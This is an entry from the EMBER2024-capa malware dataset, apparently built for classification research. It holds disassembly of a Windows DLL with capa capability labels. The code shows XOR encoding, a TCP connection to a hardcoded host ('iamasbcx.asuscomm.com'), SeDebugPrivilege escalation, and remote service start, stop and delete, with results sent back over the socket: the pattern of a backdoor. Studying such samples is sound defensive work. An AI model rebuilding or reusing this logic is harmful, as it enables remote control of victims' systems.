joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001070
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r15
sub rsp, 0x28
mov qword [rsp + 0x60], r13
xor r15d, r15d
mov qword [rsp + 0x20], r14
mov r13d, r9d
mov edi, r8d
mov r14, rdx
mov rbx, rcx
cmp qword [rcx + 8], r15
jne 0x18000109e
mov eax, r15d
jmp 0x1800010a4
mov eax, dword [rcx + 0x10]
sub eax, dword [rcx + 8]
lea ecx, [rax + rdi]
mov qword [rsp + 0x50], rbp
cmp ecx, dword [rbx + 0x18]
jb 0x18000113d
pxor xmm0, xmm0
mov eax, ecx
mov qword [rsp + 0x58], r12
cvtsi2sd xmm0, rax
mulsd xmm0, qword [0x180020ca0]
call fcn.18001ab34
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
cvttsd2si rbp, xmm0
shl ebp, 0xa
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbx + 8]
mov rsi, rax
test rdx, rdx
jne 0x1800010ff
mov ecx, r15d
jmp 0x180001104
mov ecx, dword [rbx + 0x10]
sub ecx, edx
mov r12d, ecx
mov r8d, ecx
mov rcx, rax
call fcn.18000ad70
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001129
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, [r12 + rsi]
mov r12, qword [rsp + 0x58]
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], ebp
mov rcx, qword [rbx + 0x10]
mov r8, rdi
mov rdx, r14
call fcn.18000ad70
mov r14, qword [rsp + 0x20]
test r13d, r13d
mov r13, qword [rsp + 0x60]
je 0x1800011c8
mov r9, qword [rsp + 0x70]
mov r11d, r15d
mov r10, r15
mov rbp, r15
test edi, edi
jle 0x1800011c0
nop dword [rax]
movzx ecx, byte [r10 + r9]
mov r8, qword [rbx + 0x10]
inc r10
mov eax, 0x20f30021
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x7c5
sub ecx, edx
mul r11d
add cl, 0x36
xor byte [r8 + rbp], cl
shr edx, 3
lea r8d, [rdx + rdx*4]
add r8d, r8d
cmp r11d, r8d
cmove r10, r15
inc r11d
inc rbp
cmp r11d, edi
jl 0x180001170
mov rcx, r9
call fcn.180001000
add qword [rbx + 0x10], rdi
mov rbp, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x28
pop r15
pop rdi
pop rsi
pop rbx
ret

Function at 0x1800013b0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x1d0
mov rax, qword [0x1800251e0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor edi, edi
lea rax, vtable.CBuffer.0
mov rbx, rcx
mov qword [rcx + 8], rax
mov dword [rcx + 0x20], edi
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rdi
mov qword [rcx + 0x28], rax
mov dword [rcx + 0x40], edi
mov qword [rcx + 0x30], rdi
mov qword [rcx + 0x38], rdi
mov qword [rcx + 0x48], rax
mov dword [rcx + 0x60], edi
mov qword [rcx + 0x50], rdi
mov qword [rcx + 0x58], rdi
lea rax, vtable.CTcpSocket.0
lea rdx, [rsp + 0x20]
mov qword [rcx], rax
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, edi
mov qword [rbx + 0x68], rax
xchg dword [rbx + 0x74], ecx
mov qword [rbx + 0x98], 0xffffffffffffffff
mov dword [rbx + 0x70], edi
mov rax, rbx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.18000ad40
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x1d0
pop rdi
ret
Function at 0x180001470
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x98]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x80
xor ebx, ebx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0x98]
call qword [sym.imp.KERNEL32.dll_CancelIo]
xchg dword [rdi + 0x74], ebx
mov rcx, qword [rdi + 0x98]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 0x68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 0x98], 0xffffffffffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x1800014f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns
Set socket configuration

Disassembly:
push rbp
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x98
mov rax, qword [0x1800251e0]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rax, qword [rcx]
mov r12d, r8d
mov r13, rdx
mov rsi, rcx
call qword [rax]
mov rcx, qword [rsi + 0x68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
mov eax, r14d
xchg dword [rsi + 0x74], eax
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebp, 1
mov dword [rsi + 0x70], eax
xor eax, eax
mov r15d, 2
mov qword [rsi + 0x80], rax
mov word [rsi + 0x88], ax
mov rax, qword [rsi + 0x70]
lea r8d, [r14 + 6]
mov edx, ebp
mov ecx, r15d
mov qword [rsi + 0x80], rax
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi + 0x98], rax
cmp rax, 0xffffffffffffffff
jne 0x180001587
xor al, al
jmp 0x180001723
mov rcx, r13
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0x90], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov r8, r13
xor edx, edx
xor ecx, ecx
mov r9d, eax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea ecx, [rbx + 1]
movsxd rcx, ecx
call fcn.18000b174
mov rcx, r13
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov r8, r13
xor edx, edx
mov r9d, eax
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov byte [rbx + rdi], r14b
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, rdi
mov rbx, rax
call fcn.18000b0a4
mov rdi, qword [rsp + 0x90]
test rbx, rbx
je 0x180001665
movzx ecx, r12w
mov word [rsp + 0x70], r15w
call qword [sym.imp.WS2_32.dll_htons]
lea rdx, [rsp + 0x70]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x72], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, qword [rsi + 0x98]
mov dword [rsp + 0x74], eax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18000166c
xor al, al
jmp 0x18000171b
mov rcx, qword [rsi + 0x98]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 8
mov dword [rsp + 0x50], ebp
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1800016e8
mov rcx, qword [rsi + 0x98]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x58]
lea r8, [rsp + 0x60]
mov r9d, ntohs
mov qword [rsp + 0x30], rax
mov edx, 0x98000004
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x60], ebp
mov dword [rsp + 0x64], 0x2bf20
mov dword [rsp + 0x68], 0x1388
call qword [sym.imp.WS2_32.dll_WSAIoctl]
xchg dword [rsi + 0x74], ebp
lea rax, [rsp + 0x54]
lea r8, [0x180001750]
mov qword [rsp + 0x28], rax
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x54], r14d
mov dword [rsp + 0x20], r14d
call fcn.18000b2e8
mov qword [rsi + 0x90], rax
mov al, 1
mov rbx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.18000ad40
add rsp, 0x98
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret
Function at 0x180001a80
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor edi, edi
mov r14d, r8d
mov rsi, rdx
mov r13, rcx
mov ebp, r8d
mov r12d, edi
cmp r8d, 0x40000
jl 0x180001b11
nop dword [rax + rax]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [r13 + 0x98]
xor r9d, r9d
mov r8d, 0x40000
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001af4
inc ebx
cmp ebx, 0xf
jl 0x180001ad0
cmp ebx, 0xf
je 0x180001b72
sub ebp, 0x40000
add r12d, eax
add rsi, 0x40000
cmp ebp, 0x40000
jge 0x180001ac0
test ebp, ebp
jle 0x180001b49
nop word [rax + rax]
mov rcx, qword [r13 + 0x98]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001b41
inc edi
cmp edi, 0xf
jl 0x180001b20
cmp edi, 0xf
je 0x180001b72
add r12d, eax
or eax, 0xffffffff
cmp r12d, r14d
cmove eax, r12d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
or eax, 0xffffffff
jmp 0x180001b53

Function at 0x180002080
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 0x68]
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0xa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
xor r12d, r12d
mov dword [rbx + 0x70], eax
mov eax, r12d
xchg dword [rbx + 0x74], eax
xor eax, eax
mov qword [rbx + 0x80], rax
mov word [rbx + 0x88], ax
mov rax, qword [rbx + 0x70]
mov rcx, qword [rbx + 0xa0]
mov qword [rbx + 0x80], rax
mov rax, qword [rcx + 8]
add rcx, 8
call qword [rax + 0x50]
cmp eax, 3
je 0x180002108
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx + 8]
add rcx, 8
call qword [rax + htons]
mov rcx, qword [rbx + 0xa0]
mov edi, 1
movzx r8d, si
mov rax, qword [rcx + 8]
add rcx, 8
mov rdx, rbp
mov r9d, edi
mov word [rsp + 0x28], r12w
mov qword [rsp + 0x20], r12
call qword [rax]
mov rcx, qword [rbx + 0xa8]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180002166
cmp eax, 0x102
je 0x180002155
cmp eax, 0xffffffff
jne 0x180002162
mov rcx, qword [rbx + 0xa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x1800021a1
xchg dword [rbx + 0x74], edi
mov rcx, qword [rbx + 0xa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x50]
lea r8, [0x1800021c0]
mov qword [rsp + 0x28], r11
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call fcn.18000b2e8
mov qword [rbx + 0xb0], rax
mov al, 1
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x180002950
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1800251e0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov rcx, rax
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800029e3
neg ebx
lea r8, [rsp + 0x3c]
lea rdx, str.SeDebugPrivilege
sbb eax, eax
xor ecx, ecx
mov dword [rsp + 0x38], 1
and eax, 2
mov dword [rsp + 0x44], eax
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
xor r11d, r11d
lea r8, [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x28], r11
lea r9d, [r11 + 0x10]
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x1800029f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18000ad40
add rsp, 0x50
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18000ad40
add rsp, 0x50
pop rbx
ret
Function at 0x180002a80
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1800251e0]
xor rax, rsp
mov qword [rsp + 0x40], rax
movzx eax, byte [rdx]
mov rdi, rdx
mov rbx, rcx
add eax, 0xffffff9b
cmp eax, 7
ja case.default.0x180002ac7
lea rcx, [0x180000000]
cdqe
mov qword [rsp + 0x70], rsi
mov r8d, dword [rcx + rax*4 + 0x2c90]
add r8, rcx
jmp r8
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, gethostbyname
mov rcx, rbx
call fcn.180002cb0
jmp 0x180002c73
mov edx, 1
mov rcx, rbx
call fcn.180002cb0
jmp 0x180002c73
inc rdx
mov rcx, rbx
call fcn.180003250
jmp 0x180002c73
inc rdx
xor r8d, r8d
mov rcx, rbx
call fcn.180003380
jmp 0x180002c73
mov ecx, 1
call fcn.180002950
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rdx, [rdi + 1]
mov r8d, 0xf01ff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [rsp + 0x24], 1
je 0x180002c16
mov edx, 1
jmp 0x180002c08
mov ecx, 1
call fcn.180002950
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rdx, [rdi + 1]
mov r8d, 0xf01ff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [rsp + 0x24], 4
jne 0x180002c16
mov edx, 2
jmp 0x180002c08
mov ecx, 1
call fcn.180002950
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rdx, [rdi + 1]
mov r8d, 0xf01ff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [rsp + 0x24], 7
jne 0x180002c16
mov edx, 3
lea r8, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [rbx + 0x12c]
mov rcx, rbx
call fcn.180002d00
mov rdi, rax
test rax, rax
je 0x180002c6c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov rcx, qword [rbx + 8]
mov rdx, rdi
mov r9, qword [rcx]
mov r8d, eax
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call fcn.180002950
mov rsi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18000ad40
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x180003250
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x440
mov rax, qword [0x1800251e0]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov rdi, rcx
mov ecx, 1
mov rbx, rdx
call fcn.180002950
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x40]
mov r8d, 0xf01ff
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [rsp + 0x24], 1
je 0x1800032e8
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [rdi + 0x12c]
mov rcx, rdi
call fcn.180002d00
mov rbx, rax
test rax, rax
je 0x180003347
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov rcx, qword [rdi + 8]
mov rdx, rbx
mov r9, qword [rcx]
mov r8d, eax
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call fcn.180002950
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.18000ad40
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180003380
Capabilities:
Continue service
Pause service
Query service status
Start service
Stop service

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1800251e0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, rcx
mov ecx, 1
mov edi, r8d
mov rbx, rdx
call fcn.180002950
xor edx, edx
lea r8d, [rdx + 2]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r8d, 0xf01ff
mov rdx, rbx
mov rcx, rax
mov rbp, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test edi, edi
je 0x180003444
dec edi
je 0x180003428
dec edi
je 0x18000340c
dec edi
jne 0x180003459
cmp dword [rsp + 0x24], 7
jne 0x180003459
lea r8, [rsp + 0x20]
lea edx, [rdi + 3]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x180003459
cmp dword [rsp + 0x24], 4
jne 0x180003459
lea r8, [rsp + 0x20]
mov edx, 2
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x180003459
cmp dword [rsp + 0x24], 1
je 0x180003459
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x180003459
cmp dword [rsp + 0x24], 1
jne 0x180003459
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [rsi + 0x12c]
mov rcx, rsi
call fcn.180002d00
mov rbx, rax
test rax, rax
je 0x1800034af
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov rcx, qword [rsi + 8]
mov rdx, rbx
mov r9, qword [rcx]
mov r8d, eax
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call fcn.180002950
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18000ad40
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x180003650
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18000369c
cmp dword [0x180026d44], edx
je 0x18000369c
cmp qword [0x1800280e0], 0
jne 0x18000369c
xor eax, eax
lea r8, [0x1800034e0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x1800280e0], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret
Function at 0x1800036b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov edi, r8d
mov r8, rcx
mov ebx, edx
lea rcx, str.iamasbcx.asuscomm.com
mov edx, 0xff
mov esi, r9d
call fcn.18000b108
xor eax, eax
lea r8, [0x1800034e0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x180026d3c], ebx
mov dword [0x180026d40], edi
mov dword [rsp + 0x20], eax
mov dword [0x180026d44], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
mov qword [0x1800280e0], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor al, al
add rsp, 0x30
pop rdi
ret

Function at 0x180003740
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x1800034e0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret

Function at 0x1800038c0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180005080
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1800038d0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1800050b0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x180005080
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180005080
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1800050b0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1800050b0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x1800050e0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x180005108
lea r9, [rsp + 0x50]
jmp 0x180005112
cmp edx, 1
jne 0x18000515b
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x1800051ae
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret

Function at 0x1800055a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r12, r9
mov dword [rax - 0x38], 0x1c
lea r8, [rax - 0x38]
mov word [rax - 0x30], bx
lea rdx, [rax - 0x30]
cmp dword [rsp + 0x80], ebx
je 0x1800055e4
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x1800055ea
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x1800055f2
xor eax, eax
jmp 0x18000566d
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov word [r12], ax
movzx eax, word [rsp + 0x28]
movsxd r9, dword [rdi]
cmp eax, 2
mov r8, rsi
cmovne rdx, rcx
mov ecx, eax
call sub.WS2_32.dll_InetNtopW
test rax, rax
je 0x180005648
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, 1
inc eax
mov dword [rdi], eax
jmp 0x180005666
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x180005666
mov ecx, 0x2e
mov eax, reloc.WS2_32.dll_recv
cmp bp, 2
cmove ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret